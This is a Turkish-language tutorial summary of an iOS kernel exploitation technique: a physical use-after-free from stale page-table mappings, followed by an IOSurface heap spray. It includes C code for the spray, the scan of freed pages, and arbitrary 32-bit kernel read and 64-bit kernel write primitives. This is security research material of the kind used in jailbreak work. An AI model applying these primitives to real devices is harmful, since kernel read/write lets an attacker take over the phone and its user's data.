iOS Exploiting

Fiziksel kullanımdan sonra serbest bırakma

Bu, https://alfiecg.uk/2024/09/24/Kernel-exploit.html adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi https://github.com/felix-pb/kfd adresinde bulunabilir.

XNU'da Bellek Yönetimi

iOS'taki kullanıcı süreçleri için sanaldan bellek adres alanı 0x0 ile 0x8000000000 arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, kernel sanal adresleri gerçek fiziksel adreslere çevirmek için sayfa tabloları kullanır.

iOS'taki Sayfa Tablolarının Seviyeleri

Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:

  1. L1 Sayfa Tablosu (Seviye 1):

  • Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.

  • 0x1000000000 bayt (veya 256 GB) sanal belleği kapsar.

  1. L2 Sayfa Tablosu (Seviye 2):

  • Buradaki bir giriş, özellikle 0x2000000 bayt (32 MB) olan daha küçük bir sanal bellek bölgesini temsil eder.

  • Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.

  1. L3 Sayfa Tablosu (Seviye 3):

  • Bu, her girişin tek bir 4 KB bellek sayfasını haritaladığı en ince seviyedir.

  • Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.

Sanal Belleği Fiziksel Belleğe Haritalama

  • Doğrudan Haritalama (Blok Haritalama):

  • Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan haritalar (kısa yol gibi).

  • Çocuk Sayfa Tablosuna İşaretçi:

  • Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir çocuk sayfa tablosuna işaret edebilir.

Örnek: Sanal Bir Adresi Haritalama

Diyelim ki sanal adres 0x1000000000'e erişmeye çalışıyorsunuz:

  1. L1 Tablosu:

  • Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir L2 sayfa tablosuna işaretçi varsa, o L2 tablosuna gider.

  1. L2 Tablosu:

  • Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir L3 sayfa tablosuna işaret ediyorsa, oraya devam eder.

  1. L3 Tablosu:

  • Kernel, gerçek bellek sayfasının fiziksel adresine işaret eden son L3 girişini arar.

Adres Haritalama Örneği

Eğer fiziksel adres 0x800004000'i L2 tablosunun ilk indeksine yazarsanız, o zaman:

  • 0x1000000000 ile 0x1002000000 arasındaki sanal adresler, 0x800004000 ile 0x802004000 arasındaki fiziksel adreslere haritalanır.

  • Bu, L2 seviyesinde bir blok haritalamadır.

Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:

  • 0x1000000000 -> 0x1002000000 sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır.

Fiziksel Kullanımdan Sonra Serbest Bırakma

Bir fiziksel kullanımdan sonra serbest bırakma (UAF) durumu, şu durumlarda meydana gelir:

  1. Bir süreç bazı belleği okunabilir ve yazılabilir olarak ayırır.

  2. Sayfa tabloları, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.

  3. Süreç belleği serbest bırakır (boşaltır).

  4. Ancak, bir hata nedeniyle, kernel haritalamayı kaldırmayı unutur, ilgili fiziksel belleği serbest olarak işaretlese bile.

  5. Kernel, bu "serbest bırakılmış" fiziksel belleği, kernel verileri gibi diğer amaçlar için yeniden tahsis edebilir.

  6. Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala okuma ve yazma yapabilir.

Bu, sürecin kernel belleği sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın kernel belleğini manipüle etmesine olanak tanır.

Exploit Stratejisi: Heap Spray

Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, heap spray adı verilen bir teknik kullanır:

  1. Saldırgan, kernel belleğinde birçok IOSurface nesnesi oluşturur.

  2. Her IOSurface nesnesi, bir alanında büyülü bir değer içerir, bu da onu tanımlamayı kolaylaştırır.

  3. Serbest bırakılmış sayfaları tarar ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder.

  4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu kernel belleğini okumak ve yazmak için kullanabilirler.

Bununla ilgili daha fazla bilgi https://github.com/felix-pb/kfd/tree/main/writeups adresinde bulunmaktadır.

Adım Adım Heap Spray Süreci

  1. IOSurface Nesnelerini Spray Et: Saldırgan, özel bir tanımlayıcı ("büyülü değer") ile birçok IOSurface nesnesi oluşturur.

  2. Serbest Sayfaları Tara: Bu nesnelerin herhangi birinin serbest bırakılmış bir sayfada tahsis edilip edilmediğini kontrol ederler.

  3. Kernel Belleğini Oku/Yaz: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde rastgele okuma ve yazma yapma yeteneği kazanırlar. Bu, onlara:

  • Kernel belleğindeki herhangi bir 32 bit değeri okumak için bir alan kullanma.

  • 64 bit değerleri yazmak için başka bir alan kullanarak, kararlı bir kernel okuma/yazma ilkesine ulaşma imkanı tanır.

IOSURFACE_MAGIC büyülü değeri ile IOSurface nesneleri oluşturun, böylece daha sonra arama yapabilirsiniz:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Serbest bırakılmış bir fiziksel sayfada IOSurface nesnelerini arayın:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Kernel Okuma/Yazma Elde Etme IOSurface ile

Kernel belleğinde (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş) bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra, bunu rastgele kernel okuma ve yazma işlemleri için kullanabiliriz.

IOSurface'daki Anahtar Alanlar

IOSurface nesnesinin iki kritik alanı vardır:

  1. Kullanım Sayısı İşaretçisi: 32-bit okuma sağlar.

  2. İndeksli Zaman Damgası İşaretçisi: 64-bit yazma sağlar.

Bu işaretçileri üzerine yazarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz.

32-Bit Kernel Okuma

Okuma gerçekleştirmek için:

  1. kullanım sayısı işaretçisini hedef adrese 0x14 baytlık bir offset çıkararak işaret edecek şekilde üzerine yazın.

  2. O adresteki değeri okumak için get_use_count yöntemini kullanın.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Bir yazma işlemi gerçekleştirmek için:

  1. İndeksli zaman damgası işaretçisini hedef adrese yazacak şekilde geçersiz kılın.

  2. 64-bit bir değer yazmak için set_indexed_timestamp yöntemini kullanın.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Akışı Özeti

  1. Fiziksel Kullanımdan Sonra Serbest Bırakmayı Tetikle: Serbest sayfalar yeniden kullanım için mevcuttur.

  2. IOSurface Nesnelerini Spray Et: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayır.

  3. Erişilebilir IOSurface'ı Belirle: Kontrol ettiğin serbest bir sayfada bir IOSurface bul.

  4. Kullanımdan Sonra Serbest Bırakmayı Kötüye Kullan: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi kernel okuma/yazma sağla.

Bu ilkelere sahip olan exploit, kernel belleğine kontrollü 32-bit okumalar ve 64-bit yazmalar sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).

Last updated